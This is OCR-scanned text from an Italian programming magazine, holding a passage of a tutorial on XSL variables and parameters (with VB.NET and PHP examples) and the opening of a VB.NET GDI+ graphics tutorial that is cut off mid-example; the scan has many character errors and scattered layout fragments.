sformazione tale che sia restituito un file XML con- 
tenente i soli dati relativi a un certo "Id2. 
Per farlo creiamo foglio di stile nel file nominato 
come varìabili.xsl posto nella stessa directory: 

<?xml version = "1.0"?> 



XSL 



▼ CORSI BASE 



<xsl:stylesheet version = "1.0" xmlns:xsl= 

"http://www.w3.org/1999/XSL/Transform"> 
<!— dichiaro una variabile parametro id 
valida in tutto il contesto — > 

<xsl:param name="id">2</xsl:param> 
<xsl:template match = "/"> 

<xsl:call-template name="stampa-nomi"> 



</xsl:call-template> 



</xsl:template> 



<xsl:template na me = "stampa-nomi" > 



<table border="l"> 



<xsl:for-each select="//indirizzo[id=$id]"> 



<tr> 



<td> 



<xsl:value-of select="nome"/> 



</td> 



<td> 



<xsl:value-of select="cognome"/> 



</td> 



<td> 



<xsl:value-of select="via"/> 



</td> 



<td> 



<xsl:value-of select="comune"/> 



</td> 



</tr> 



</xsl:for-each> 



</table> 



</xsl:template> 



</xsl:stylesheet> 

Con l'elemento <xsl:param> abbiamo definito una 
variabile il cui nome è costituito dal valore dell'at- 
tributo nome (in questo caso "id") e il cui valore è 
definito nel contenuto dell'elemento. 
Avremmo potuto anche utilizzare la notazione 

<xsl:param name="id" select="2"/> 

In questo caso valore della variabile viene impo- 
stato dall'attributo select. Questa variabile è dichia- 
rata come Globale rispetto al foglio di stile perché è 
esterna agli elementi <xsl:template> e posta sotto 
l'elemento radice <xsl:stylesheet>. Ciò in pratica si- 
gnifica che sarà possibile utilizzarne il valore in ogni 
parte del documento. La variabile si utilizza antepo- 
nendo al nome il simbolo $ come è stato fatto nella 
riga: 

<xsl:for-each select="//indirizzo[id=$id]"> 



DIFFERENZE TRA XSL 
E PROGRAMMAZIONE 
TRADIZIONALE 

Dall'esempio proposto emergono già alcune diffe- 
renze nella gestione delle variabili tra XSL ed i lin- 



guaggi di programmazione classici. In XSL infatti: 

• Le variabili vengono valorizzate unicamente nel 
momento stesso della loro dichiarazione 

• Non esiste alcun costrutto che consenta di varia- 
re il contenuto della variabile in altre parti della 
pagina (come ad esempio $id=3 o simili) 

In realtà in XSL le variabili non sono per niente... 
variabili ma assomigliano piuttosto a quelle che nei 
linguaggi classici di programmazione sono chiama- 
te costanti. Anche se sarebbe più corretto definirle 
come dei riferimenti. 

A prima vista si potrebbe obiettare: ma a cosa servo- 
no variabili di questo tipo? 

Nell'esempio abbiamo utilizzato una variabile che 
contiene un valore assoluto (il valore 2 appunto). 
In XSL le variabili possono contenere anche un rife- 
rimento ad un elemento del documento XML di par- 
tenza (o, come vedremo in seguito, anche ad altri 
documenti XML esterni). Vediamo infatti come po- 
tremmo utilizzare una variabile parametro per im- 
postare un riferimento ad un elemento del docu- 
mento di partenza: 

<?xml version="1.0"?> 

<xsl:stylesheet version="1.0" xmlns:xsl = 

"http://www.w3.org/1999/XSL/Transform"> 
<!-- dichiaro una variabile parametro come 

riferimento ad un elemento e valida 
in tutto il contesto — > 
<xsl:param name="nodo-selezionato" 

select="//indirizzo[id = 2]"> 
</xsl:param> 
<xsl:template match = "/"> 

<xsl:call-template name="stampa-nomi"> 
</xsl:call-template> 
</xsl:template> 

<xsl:template name= "stampa-nomi" > 
<table border="l"> 

<xsl:for-each select="$nodo-selezionato"> 
<tr> 
<td> 

<xsl:value-of select="nome"/> 

</td> 

<td> 

<xsl:value-of select="cognome"/> 

</td> 

<td> 

<xsl:value-of select="via"/> 

</td> 

<td> 

<xsl:value-of select="comune"/> 

</td> 

</tr> 

</xsl:for-each> 
</table> 





VARIABILI 
IM XSL? 

Parlare in senso stretto 
di "variabili" in XSL 
non sarebbe corretto 
perché in effetti esse 
sono piuttosto dei 
"riferimenti" a valori 
costanti o ad oggetti. 
Tuttavia abbiamo 
utilizzato questa 
definizione per le altre 
analogie che variabili e 
i parametri conservano 
con quelle proprie dei 
linguaggi di 
programmazione e 
scripting (dichiarazione 
e ambito di visibilità) 
nell'intento di renderle 
immediatamente 
"riconoscibili" a lettori 
con un background in 
altri linguaggi di 
programmazione. 




CORSI BASE T 



I 



XSL 





</xsl:template> 



</xsl:stylesheet> 

Notiamo che adesso nell'attributo select di <xsl:pa- 
ram> c'è un'espressione che indica un riferimento 
ad un nodo con sintassi XPath. A questo punto po- 
tremo utilizzare la variabile appunto come alias o 
riferimento al nodo che rappresenta come in: 



se dichiarato a livello di foglio di stile (posto sot- 
to l'elemento <xsl:stylesheet>) diventa un para- 
metro globale. 

se dichiarato a livello di procedura (posto sotto 
l'elemento <xsl:template>) diventa un parame- 
tro di procedura. 



POSIZIONE 
DI XSL: PAR AM 

Se utilizzati come para- 
metri di procedura gli 
elementi <xsl:param> 
(al contrario degli ele- 
menti <xsl:variable>) 
devono trovarsi imme- 
diatamente sotto l'ele- 
mento <xsl:template>. 
Ad esempio questo 
frammento codice sa- 
rebbe errato: 



<xsl:template name= 

"stampa-nomi"> 
<table border="l"> 
<xsl:param name= 
"id">2</xsl:param> 

Mentre questo è cor- 
retto: 

<xsl:template name= 

"stampa-nomi"> 
<xsl:param name= 
"id">2</xsl:param> 
<table border="l"> 



<xsl:for-each select="$nodo-selezionato"> 



AMBITO E TIPI 
DI VARIABILI 

Negli esempi precedenti abbiamo visto dichiarazio- 
ni di variabili "globali" utilizzabili a nell'intero foglio 
di stile. Le variabili però possono essere dichiarate 
anche all'interno di un singolo <xsl:template> come 
segue: 

<xsl:template name= "stampa-nomi" > 
<!— dichiaro una variabile parametro 
id valida solo in questo template — > 

<xsl:param name="id">2</xsl:param> 
<table border="l"> 
<xsl:for-each select="//indirizzo[id=$id]"> 
ecc.. 
</xsl:template> 

In questo caso il riferimento alla variabile è valido 
solo nell'ambito del template nel quale è stata di- 
chiarata. Il tentativo di fare riferimento ad una varia- 
bile fuori dal suo ambito genererà pertanto un erro- 
re. Abbiamo detto all'inizio che le variabili possono 
essere dichiarate anche attraverso l'elemento <xsl: 
variablo. In molti casi dichiarare una variabile con 
<xsl:param> o con <xsl:variable> è sostanzialmente 
equivalente. Cioè, scrivere: 

<xsl:stylesheet version = "1.0" xmlns:xsl = 

"http://www.w3.org/1999/XSL/Transform"> 
<xsl:param name="id">2</xsl:param> 



oppure 



<xsl:stylesheet version = "1.0" xmlns:xsl = 

"http://www.w3.org/1999/XSL/Transform"> 
<xsl:variable name="id">2</xsl:variable> 



è la stessa cosa. Come la variabile <xsl:param> 
anche quella dichiarata con <xsl:variable> ha un 
ambito differente a seconda che venga posta 
sotto l'elemento <xsl:stylesheet> o all'interno di 
un elemento <xsl:template>. 
Come suggerisce anche il nome <xsl:param> sta 
a rappresentare un parametro e come tale si 
comporta: 



PARAMETRI GLOBALI 

I parametri globali sono valori validi e richiamabili 
nell'ambito dell'intero foglio di stile. In apparenza 
sono del tutto identici ad analoghe dichiarazioni che 
utilizzino <xsl:variable> anziché <xsl:param>. 
In realtà quasi tutte le librerie di trasformazione di 
XSL dispongono di metodi per impostare il valore 
dei parametri globali prima di compiere la trasfor- 
mazione stessa. In questo modo otteniamo un valo- 
re dinamico e non più statico. Chiariamo meglio 
questo concetto con un esempio che presenta una 
trasformazione realizzata inVB.NET. Ci basiamo sul 
file di esempio indirizzi.xml che abbiamo visto pri- 
ma e scriviamo questo foglio di stile: 

<?xml version = "1.0"?> 

<xsl:stylesheet version="1.0" xmlns:xsl = 

"http://www.w3.org/1999/XSL/Transform"> 
<xsl:param name="id">2</xsl:param> 
<xsl:template match = "/"> 

<xsl:call-template name="stampa-nomi"> 
</xsl:call-template> 



</xsl:template> 



<xsl: template name = "stampa-nomi" > 



<table border="l"> 



<xsl:for-each select="//indirizzo[id=$id]"> 



<tr> 



<td> 



<xsl:value-of select="nome"/> 



</td> 



<td> 



<xsl:value-of select= "cognome"/ > 



</td> 



<td> 



<xsl:value-of select="via"/> 



</td> 



<td> 



<xsl:value-of select="comune"/> 



</td> 



</tr> 



</xsl:for-each> 



</table> 



</xsl:template> 



</xsl:stylesheet> 

In pratica se impostiamo il valore 2 il template 
"stampa-nomi" trasforma il nodo con id=2, se 
cambiamo questo valore la stampa avverrà su un 




XSL 



I 



T CORSI BASE 




nodo con id uguale al valore passato. Scriviamo 
quindi un piccolo programma console in VB.Net 
che compileremo in un eseguibile chiamato para- 
metri, exe: 

Imports System 
Imports System. IO 
Imports System. Xml 



Imports System. Xml. XPath 



Imports System. Xml. Xsl 



Public Class ParametrilnVBNet 



Private Const filename As String = "indirizzi. xml" 
Private Const stylesheet As String = "parametri. xsl" 



Public Shared Sub Main() 



'Crea XslTransform e carica il foglio di stile. 
Dim xslt As XslTransform = New XslTransform 



xslt.Load (stylesheet) 



'Carica file il file XML dei dati. 



Dim doc As XPathDocument = New 

XPath Document(filename) 
'Crea un oggetto XsltArgumentList. 
Dim xslArg As XsltArgumentList = 

New XsltArgumentList 
Dim CommandLineArgs() As String = 

Environment.GetCommandLineArgs() 
If CommandLineArgs.Length >= 1 Then 

Dim idParam As String = CommandLineArgs(l) 
'Valorizza il parametro id del foglio di stile. 



con un valore preso dagli 



'argomenti da linea di comando 



xslArg.AddParam("id" 



idParam) 



End If 



'Crea un oggetto XmlTextWriter 



'per gestire l'output. 



Dim writer As XmlTextWriter = New 

XmlTextWriter("out.xml", Nothing) 



'Trasforma creando file di output. 



xslt.Transform(doc, xslArg, writer, Nothing) 



writer.Close() 



End Sub 



End Class 

Il compito programma, come possiamo vedere è 
molto semplice: 

• Carica il file XML di dati e il foglio di stile nel mo- 
tore di trasformazione. 

• Se viene passato un argomento da riga di co- 
mando lo usa per valorizzare il parametro globa- 
le del foglio di stile. 

• Scrive il risultato della trasformazione in un 
nuovo file (.out.xml). 

Una volta compilato il programma (nella directory 
dove sono i file indirizzi.xml e parametri.xst} lo lan- 
ciamo da riga di comando, per la prima volta non 



passandogli nessun argomento: 

>parametri.exe 

Se andiamo adesso a vedere il contenuto del file 
XML {out.xmt} prodotto dalla trasformazione leggia- 
mo: 




<table border= 


'1"> 


<tr> 


<td>Giuseppe</td> 


<td>Bianchi</td> 


<td>G. Rossini, 4</td> 


<td>Milano</td> 


</tr> 


</table> 



E cioè i dati trasformati contenuti nel nodo: 



<indirizzo> 



<id>2</id> 



<nome>Giuseppe</nome> 



<cognome> Bianchi </cognome> 



<via>G. Rossini, 4</via> 



<comune>Milano</comune> 



</indirizzo> 

Questo perché nel foglio di stile avevamo definito un 
valore 2 al parametro id: <xsl:param name="id"> 2 
</xsl:param> che costituisce quindi il valore di de- 
fault. Se invece lanciamo nuovamente programma 
con l'argomento 1 



>parametri.exe 1 


Il risultato leggibile nel file out.xml sarà 


adesso: 


<table border="l' 


> 




<tr> 


<td>Antonio</td> 


<td>Rossi</td> 


<td>G. Verdi, 3</td> 


<td>Roma</td> 


</tr> 



PARAMETRI E MOTORI DI TRASFORMAZIONE 



Nell'esempio riportato nell'articolo 
viene mostrato come vengono im- 
postati i parametri globali all'inter- 
no di una trasformazione compiuta 
utilizzando l'erigine XslTransform 
del Framework .NET (utilizzabile 
nello stesso modo anche in C#, J# e 
negli altri linguaggi che supportano 
il Framework). Motori di trasforma- 
zione utilizzati in ambienti diversi 
(PHPJAVA ecc..) dispongono di tec- 
niche analoghe. In Php, ad esempio. 



potremmo scrivere: 



<?php 



$xsl = new DOMDocument; 
$xsl->load('parametri.xsl'); 
$proc = new XSLTProcessor; 
$proc->importStyleSheet($xsl); 
$xml = new DOMDocument; 
$xml->load('indirizzi.xmr); 
$proc->setParameter(", 'id', 1); 
$proc->transformToURI($xml, 'out.xml'); 




CORSI BASE T 



I 



XSL 





</table> 

Ovvero i dati trasformati contenuti nel nodo 

<indirizzo> 

<id>l</id> 

<nome> Antonio </nome> 



<cognome> Rossi </cognome> 



<via>G. Verdi, 3</via> 



<comune>Roma</comune> 



</indirizzo> 



Applicando questo foglio di stile noteremo che la 
trasformazione viene applicata al nodo con id=l. 
Questo perché, nella forma di parametro di proce- 
dura, l'elemento <xsl:param> diventa un argomen- 
to della procedura stessa impostabile in fase di chia- 
mata con l'elemento <xsl:with-param> all'interno 
di <xsl:call-template>. Per il lettore con un back- 
ground di programmazione tradizionale diremmo 
che un parametro di procedura è l'equivalente dei 
parametri di un metodo. In Javascript, per esempio, 
potremmo scrivere: 



Da qui possiamo comprendere la funzione pratica 
dei parametri globali che non operano nell'ambito 
della logica interna al foglio di stile, ma possono es- 
sere utilizzati in fase run-time dal motore di trasfor- 
mazione per generare output differenti. 



function Stampa_nomi (id) { 



//istruzioni....} 
E richiamare il metodo con 
Stampa_nomi(l); 




SUL WEB 



ALCUNI LINKS 

Specifiche del linguag- 
gio XSLT versione 1.0 
(in lingua inglese) 

http://www.w3.orq/TR/xsit 

Tutorial XSL e XPath (in 
lingua inglese) 

http://www.topxml.com 

/xsl/tutorials/intro/default 

,asp 

XSL School su 

w3schools (in lingua 

inglese) 

http://www.w3schools 

.com/xsl/xsl lanquaqes 

,asp 



PARAMETRI 
DI PROCEDURA 

Un ruolo del tutto diverso giocano invece i para- 
metri di procedura, ovvero quelli dichiarati sotto l'e- 
lemento <xsl:template>. Per comprenderlo tornia- 
mo al nostro foglio di stile scrivendolo, questa volta, 
così: 

<?xml version = "1.0"?> 

<xsl:stylesheet version = "1.0" xmlns:xsl = 

"http://www.w3.org/1999/XSL/Transform"> 
<xsl:template match = "/"> 
<xsl:call-template name= "stampa-nomi" > 
<xsl:with-param name="id" select="l"/> 

</xsl:call-template> 
</xsl:template> 

<xsl:tem piate name= "stampa-nomi" > 
<xsl:param name="id">2</xsl:param> 
<table border="l"> 
<xsl:for-each select="//indirizzo[id = $id]"> 
<tr> 
<td> 
<xsl:value-of select="nome"/> 

</td> 

<td> 

<xsl:value-of select="cognome"/> 

</td> 



<td> 



<xsl:value-of select="via"/> 



</td> 



<td> 



<xsl:value-of select="comune"/> 



</td> 



</tr> 



</xsl:for-each> 



</table> 



</xsl:template> 



Ma torniamo a XSL sottolineando come attraverso i 
parametri di procedura possiamo creare delle unità 
di trasformazione riutilizzabili e parametrizzate. 
Nel caso specifico il template "stampa-nomi" avrà 
output differenti a seconda se viene richiamato con 



<xsl:call 


■template name="stam 


pa-nomi 


'> 


<xsl:with-param 


name="id" 


select=" 


!"/> 




</xsl:call 


-template> 






Ocon 


<xsl:call 


■template name="stam 


pa-nomi 


'> 


<xs 


:with-param name="ic 


" select= 


"2"/> 




</xsl:call 


-template> 







</xsl:stylesheet> 



Avrete anche notato come nella dichiarazione il pa- 
rametro sia stato dotato di un valore iniziale 2: 

<xsl:param name="id">2</xsl:param> 

È per questo che se richiamiamo il template "stam- 
pa-nomi" senza parametri con 

<xsl:call-template name="stampa-nomi"/> 

Il parametro assume valore di default ed il tem- 
plate produrrà comunque un risultato. 



CONCLUSIONI 

L'utilizzo di parametri e variabili in XSL è piuttosto 
delicato perché, come abbiamo visto, assumono un 
ruolo leggermente diverso da quello tradizionale. 
Rappresentano tuttavia l'unico modo per ottenere 
dei figli di stile parametrizzabili, come nell'esempio 
VB proposto in questo articolo. 

Francesco Smelzo 




Visual Basic .NET 



I 



T CORSI BASE 




Gestire la grafica 

in VB.NET 

Una serie di articoli sulla tecnologia messa a disposizione 

da VB.NET 2003 per il disegno di elementi grafici e per la gestione 

delle immagini. La tecnologia GDI+ 



La grafica è da sempre uno dei campi che affa- 
scina i programmatori. Nessun altro settore 
dell'informatica ha subito uno sviluppo così 
rapido come quello ottenuto dalla grafica compute- 
rizzata. L'immaginario collettivo ha di fatto sempre 
visto il computer come un mezzo per ri- 
produrre/simulare un'immagine efficace della 
realtà. La tecnologia GDI+ basata sulle API GDI+ 
(Graphics Device Interface) di Windows e fornisce al 
programmatore VB.NET 2003 tutti gli elementi ne- 
cessari per disegnare elementi grafici in una qualsia- 
si applicazione Windows Form. In questo articolo 
forniremo un primo approccio verso il disegno di 
forme geometriche, per poi proseguire nei successi- 
vi appuntamenti con una complessità sempre cre- 
scente. 



DIVERSI TIPI DI GRAFICA 

Si può pensare di dividere la grafica computerizzata 
in due grandi famiglie 

• Grafica vettoriale 

• Grafica raster 

La grafica vettoriale implica il disegno di primitive, 
quali linee, curve e poligoni, definiti da un insieme 
di punti in un sistema di coordinate. Il disegno non 
viene rappresentato dalla serie di pixel, che lo com- 
pone sullo schermo, ma è possibile, ad esempio, di- 
segnare una linea retta specificando soltanto le co- 
ordinate dei due punti estremi, oppure disegnare un 
rettangolo tramite un punto che ne rappresenti la 
posizione dell'angolo superiore sinistro ed un paio 
di numeri che ne indicano la larghezza e l'altezza. 
Gli oggetti messi a disposizione da GDI+ per la ge- 
stione della grafica vettoriale sono racchiusi nel na- 
mespace System.Drawing.Drawing2D. Viceversa, in 
un'immagine raster, lo spazio è suddiviso in migliaia 
di quadratini detti pixel. Ogni quadratino assume un 



colore. L'insieme dei quadratini rappresenta il dise- 
gno. Le immagini di questo tipo sono memorizzate 
come bitmap, in cui, ogni colore del singolo punto 
sullo schermo, viene trasformato in un numero e 
memorizzato in una matrice. Ogni elemento nella 
matrice, è accessibile tramite una coppia di coordi- 
nate x-y, che identifica il singolo pixel. Se disegnia- 
mo un rettangolo in un pacchetto di immagini ra- 
ster, verrà rappresentato da tutti i pixel che lo com- 
pongono. Si può facilmente comprendere lo spreco 
di spazio e di risorse che si ottiene con un rettango- 
lo disegnato come immagine raster piuttosto che 
come immagine vettoriale, ma la visualizzazione di 
determinati tipi di immagini tramite le tecniche 
della grafica vettoriale risulta difficile o impossibile. 
Pensiamo, ad esempio, alla complessità di rappre- 
sentare come immagine vettoriale un'immagine 
creata da una macchina fotografica digitale ad alta 
risoluzione. Gli oggetti messi a disposizione da GDI+ 
per la gestione delle immagini sono racchiusi nel 
namespace System.Drawing.Imaging. 
A queste due macro-aree va aggiunto quella relativa 
al disegno del testo, anche se, in seguito alla diffusio- 
ne dei caratteri scalabili, il testo viene spesso consi- 
derato parte della grafica vettoriale. Gli oggetti messi 
a disposizione da GDI+ per mostrare del testo appli- 
cando una gran varietà di forme, colori e stili, sono 
racchiusi nel namespace System.Drawing.Text. 



DISEGNARE ELEMENTI 
GRAFICI 

Per disegnare elementi grafici, su una qualsiasi peri- 
ferica di visualizzazione, la prima operazione da 
compiere consiste nell'ottenere un riferimento ad 
un oggetto Graphics. Un oggetto Graphics rappre- 
senta, in pratica, una superficie di disegno, normal- 
mente l'area client di un oggetto Form. L'oggetto 
Graphics espone metodi per disegnare primitive 
grafiche e metodi per disegnare delle aree piene ese- 




n 




REQUISITI 



u.mw.ujiu.Mtm 

,— r Conoscenze base 
1*6 diVB.NET 




\m\^A\^À^\^ 



Tempo di realizzazione 




CORSI BASE T 



I 



Visual Basic .NET 





guendo il rendering in tìnta unita, colori trasparenti 
o utilizzando trame di immagini definiti dall'utente. 
Per creare linee e tracciare forme si deve utilizzare 
l'oggetto Pen. Per riempire un'area di qualsiasi tipo 
(es. un rettangolo o una curva chiusa), è necessario 
utilizzare un oggetto Brusìi. Per il rendering di testo 
si deve utilizzare l'oggetto Font. Il disegno di ele- 
menti grafici implica due passaggi fondamentali: 

• Creare un oggetto Graphics 

• Utilizzare l'oggetto Graphics per tracciare gli ele- 
menti grafici. 



'Paint generato dalla form 



Private Sub Forml_Paint(ByVal sender As Object, 
ByVal e As System. Windows. Forms.PaintEventArgs) 
Handles MyBase. Paint 
'Si dichiara una variabile oggetto OggettoGrafico di 
'tipo Graphics e si ottiene il riferimento dall'argomento 



'e di tipo PaintEventArgs. 



Dim OggettoGrafico As Graphics = e. Graphics 
'Si disegna la retta che collega i due punti specificati 
'dalle due coppie di coordinate, con il colore indicato 
'dall'oggetto Pen, utilizzando il metodo DrawLine 
OggettoGrafico. DrawLine(Pens. Blue, 1, 1, 100, 100) 
'Istruzione finale della procedura di evento Paint 
End Sub 



Come potete notare 
nei primi due esempi 
d'utilizzo dell'oggetto 
Graphics, la differenza 
fondamentale tra i due 
metodi sta nel fatto 
che utilizzando il meto- 
do CreateGraphics è 
necessario distruggere 
esplicitamente l'ogget- 
to Graphics prima di 
uscire dalla procedura; 
se questo non succede, 
la corrispondente risor- 
sa di Windows sarà di- 
strutta solo dal dispo- 
sitivo di garbage 
collection. 



CREARE UHI OGGETTO 
GRAPHICS 

L'oggetto Graphics non possiede un metodo co- 
struttore pubblico, e quindi non può essere creato 
utilizzando la parola chiave New. Per questo motivo 
non è possibile utilizzare l'istruzione: 

Dim OggettoGrafico As New Graphics() 'istruzione 

errata 

Per adoperare l'oggetto Graphics si può utilizzare il 
metodo CreateGraphics esposto dalla form e da tutti 
i controlli di VB.Net. Invocando il metodo Create- 
Graphics di un controllo si ottiene il riferimento ad 
un oggetto Graphics che rappresenta la superficie di 
disegno di tale controllo. Questo metodo si deve uti- 
lizzare per disegnare elementi grafici in una finestra 
o in un controllo esistente. Se, ad esempio, vogliamo 
disegnare una linea di colore blu su una form, con 
questa tecnica, possiamo scrivere il codice seguente: 

'Si dichiara una variabile oggetto OggettoGrafico di 
'tipo Graphics e si ottiene il riferimento alla superficie 
'di disegno della form. 

Dim OggettoGrafico As Graphics = Me. CreateGraphics 
'Si disegna la retta che collega i due punti specificati 
'dalle due coppie di coordinate, con il colore indicato 
'dall'oggetto Pen, utilizzando il metodo DrawLine 
OggettoGrafico. DrawLine(Pens. Blue, 1, 1, 100, 100) 
'Distrugge esplicitamente l'oggetto Graphics prima di 
'uscire dalla procedura; 
OggettoGrafico. Dispose() 

Un secondo metodo utilizzabile è quello di ottenere 
un riferimento ad un oggetto Graphics, dall'argo- 
mento di tipo PaintEventArgs dell'evento Paint ge- 
nerato da una form o da un controllo. Questo meto- 
do si utilizza, in genere, quando si crea codice di di- 
segno per un controllo. Per disegnare la stessa linea 
dell'esempio precedente, ogni volta che la form vie- 
ne ridisegnata, possiamo scrivere il codice seguente: 

'La dichiarazione della procedura di evento 



Infine è possibile creare un oggetto Graphics da 
qualsiasi oggetto che eredita dalla classe Image, uti- 
lizzando il metodo Graphics.Promlmage. Questo 
metodo si utilizza, quando necessita modificare 
un'immagine già esistente. Prima di approfondire la 
descrizione dell'oggetto Graphics descriviamo l'og- 
getto Pen che abbiamo utilizzato negli esempi. 



L'OGGETTO PERI 

Per disegnare una linea, di qualsiasi tipo, si utilizza 
un oggetto Pen. Per l'oggetto Pen sono disponibili di- 
versi costruttori: 

• Per creare una penna con un particolare colore 
(ad esempio Blu), si può scrivere: 

Dim OggettoPen = New Pen(Color.Blue) 
'Dove la struttura Color contiene l'elenco 
'dei colori ARGB utilizzabili. 




Esempio 3 
Esempio 4 



Fig. 1: Disegno di una linea retta utilizzando lo stru- 
mento Pen 

• Per creare una penna con un particolare colore 
ed una determinata grandezza, si può scrivere: 

Dim OggettoPen = New Pen(Color.Blue, Larghezza) 
'Dove il parametro Larghezza (di tipo Single) 
'specifica la larghezza, espressa in pixel, della linea 

Usando il primo costruttore, la larghezza della linea 
viene posta al valore di default, vale a dire uno (1 



Visual Basic .NET 



T CORSI BASE 



pixel). Sono inoltre disponibili altri due costruttori, 
in cui è possibile specificare un oggetto Brusìi che 
determina le proprietà di riempimento delle linee 
disegnate. Analizziamo in dettaglio le proprietà di- 
sponibili: 

Alignment - determina la modalità di allineamento 
con cui l'oggetto Pen disegna curve chiuse e poligo- 
ni. L'enumerazione PenAlignment fornisce i valori: 
Center e Inset. Il valore predefinito è Center ed indica 
che la larghezza della penna è centrata rispetto alla 
linea teorica. Se, invece, il valore della proprietà è 
Inset, la larghezza della penna è interna alla linea 
teorica. 

Brusii - permette di impostare l'oggetto Britsh. As- 
segnando un valore a questa proprietà la penna di- 
segnerà curve e poligoni pieni. 
Color - permette di impostare colore della penna. 
StartCap ed EndCap - permettono di modificare la 
forma del punto iniziale e del punto finale della li- 
nea, in modo da creare facilmente frecce o altre figu- 
re comuni. È quindi possibile applicare all'inizio 
(estremità iniziale) oppure alla fine (estremità fina- 
le) di una linea, una delle diverse forme fornite dal- 
l'enumerazione LineCap, dette estremità di linea. 
Sono supportate numerose estremità di linee, quali: 
rotonda, quadrata, a rombo ed a punta di freccia. 
DashStyle - permette di impostare lo stile utilizzato 
per le linee tratteggiate, disegnate con l'oggetto Pen. 
Width - permette di impostare la larghezza, in pixel, 
della linea, curva o poligono. 
Linejoin - permette di impostare il tipo di join (unio- 
ne) delle terminazioni di due linee consecutive. 
DashPattern - permette di creare dei tratteggi perso- 
nalizzati valorizzando una matrice di numeri reali 
che specificano le lunghezze dei trattini e degli spazi 
alternati, nelle linee tratteggiate. Gli elementi della 
matrice (DashArray) permettono di impostare la 
lunghezza di ciascun trattino e di ciascuno spazio 
della linea tratteggiata. Il primo elemento imposta la 
lunghezza di un trattino, il secondo quella di uno 
spazio, il terzo la lunghezza di un trattino e così via. 
DashOffset - permette di impostare lo stile utilizzato 
per le linee tratteggiate. 



to Brush; i successivi argomenti possono essere un 
insieme di coordinate oppure un rettangolo di con- 
tenimento (come vedremo meglio in seguito). Come 
abbiamo visto negli esempi precedenti, per dise- 
gnare una singola linea retta, che collega i due punti 
specificati da due coppie di coordinate, si utilizza il 
metodo DrawLine. Sono disponibili quattro versioni 
di overload di drawline, ma ogni versione richiede le 
stesse informazioni: la penna utilizzata per disegna- 
re la linea e le coordinate in cui inizia e termina la 
linea. Le differenze sono nel modo in cui vengono 
specificate le coordinate, come quattro valori Integer 
o Single oppure come due strutture Point o PointELa. 
struttura Point, definisce un punto in un piano bidi- 
mensionale tramite una coppia ordinata di coordi- 
nate x ed y intere. Per ottenere un'istanza della clas- 
se Point si può utilizzare il costruttore: 

Dim Verticel As New Point(x, y) 

Dove x è la posizione orizzontale del punto (asse x) 
ed y è la posizione verticale del punto (asse y) . 
La struttura PointF differisce dalla struttura Point nel 
tipo di dati, il tipo Single, della coppia ordinata di 
coordinate x ed y. Per disegnare una linea orizzonta- 
le di colore verde che colleghi i punti di coordinate 
(1,50) e (200,50) si può scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Green) 
OggettoGrafico. DrawLine(OggettoPen, 1, 50, 200, 50) 
OggettoGrafico. Dispose() 

Nello specificare le coordinate di ogni punto, si deve 
tenere conto che l'angolo superiore sinistro della 
form ha coordinate x=l, y=l, e che i valori sono 
espressi in pixel; inoltre i valori crescenti di x si svilup- 
pano a destra di tale punto, ed i valori crescenti di y si 
sviluppano verso il basso. L'ordine dei due punti non 
riveste alcun'importanza, quindi con l'istruzione: 

OggettoGrafico. DrawLine(OggettoPen, 200, 50, 1, 50) 
si ottengono gli stessi risultati. 




DISEGNARE LINEE RETTE 
E FORME 

I metodi della classe Graphics sono preceduti dal 
prefisso Draw o Fili. Con i metodi Draw si disegnano 
linee e curve, mentre con i metodi Fili vengono 
riempite aree, il cui contorno è definito da linee e 
curve. Per ogni metodo sono disponibili numerose 
forme sintattiche (overloading), ma solitamente se- 
guono uno schema: il primo argomento per tutti i 
metodi Draw è costituito da un oggetto Pen, mentre 
primo argomento per tutti i metodi Fili è un ogget- 





VALORI AMMESSI 




DALL'ENUMERAZIONE LINECAP 


Anc 


ìorMask 


determina una maschera utilizzata per controllare se un delimitatore 
di linea è un delimitatore di ancoraqqio. 


ArrowAnchor 


determina un delimitatore di ancoraggio a freccia. 


Custom 


determina un delimitatore di linea personalizzato. 


DiamondAnchor 


determina un delimitatore di ancoraggio a rombo. 


Fiat 


determina un delimitatore di linea piatto. 


NoAnchor 


determina l'assenza di ancoraggio. 


Round 


determina un delimitatore di linea rotondo. 


RoundAnchor 


determina un delimitatore di ancoraggio rotondo. 


Square 


determina un delimitatore di linea quadrato. 


SquareAnchor 


determina un delimitatore di linea di ancoraggio quadrato. 


Triangle 


determina un delimitatore di linea trianqolare. 




CORSI BASE ▼ 



I 



Visual Basic .NET 





In Common Language 
Runtìme viene utilizza- 
ta un'implementazione 
avanzata dell'interfac- 
cia di progettazione 
grafica (GDI) di Win- 
dows, denominata 
GDI+. In VB Net 2003 
GDI+ ha sostituito GDI 
e rappresenta l'unico 
metodo per eseguire il 
rendering di grafica a 
livello di codice in 
applicazioni Windows 
Form. 



Una linea teorica ha 
larghezza pari a zero, 
tracciando una linea 
con larghezza maggio- 
re di un pixel, i pixel 
vengono centrati ri- 
spetto alla linea teori- 
ca, oppure vengono 
visualizzati a lato di es- 
sa in base all'imposta- 
zione della proprietà 
Alignment. 



DISEGNARE 

UHI RETTANGOLO 

Per disegnare un rettangolo, si deve definire una 
coppia di coordinate che indichino l'angolo supe- 
riore sinistro, e due valori che indichino la larghezza 
e l'altezza, utilizzando il metodo DrawRectangle. Per 
disegnare un rettangolo che abbia: l'angolo supe- 
riore sinistro in corrispondenza dell'angolo supe- 
riore sinistro della form, una larghezza di cento pixel 
ed un'altezza di settanta pixel, si può scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Green) 
OggettoGrafico. DrawRectangle(OggettoPen, 1, 1, 100, 70) 
OggettoGrafico. Dispose() 



È possibile utilizzare un'altra forma di DrawRec- 
tangle in cui si specifica una struttura Rectangle. La 
struttura Rectangle memorizza un'area rettangolare 
in base alla posizione dell'angolo superiore sinistro, 
ed alle dimensioni, indicate nel costruttore. 





■t 


Esempi GDI+ Q[ 


dJ® 


















Esempio 1 Esempio 5 


Esempio 2 


Esempio 6 




i ■ 





Fig. 3: In figura il disegno del rettangolo 



DISEGNARE 
UHI POLIGONO 

Per disegnare un poligono di qualsiasi forma, si deve 
valorizzare una matrice di coordinate, ognuna delle 
quali definisce un vertice del poligono, utilizzando il 
metodo DmwPolygon. Se, ad esempio, vogliamo di- 
segnare un pentagono, dobbiamo fornire le coordi- 
nate dei cinque vertici, perciò possiamo scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 





Bl Esempi GDI+ 


30® 






^"') 












Esempio 1 


Esempio 5 




Esempio 2 


Esempio 6 j 






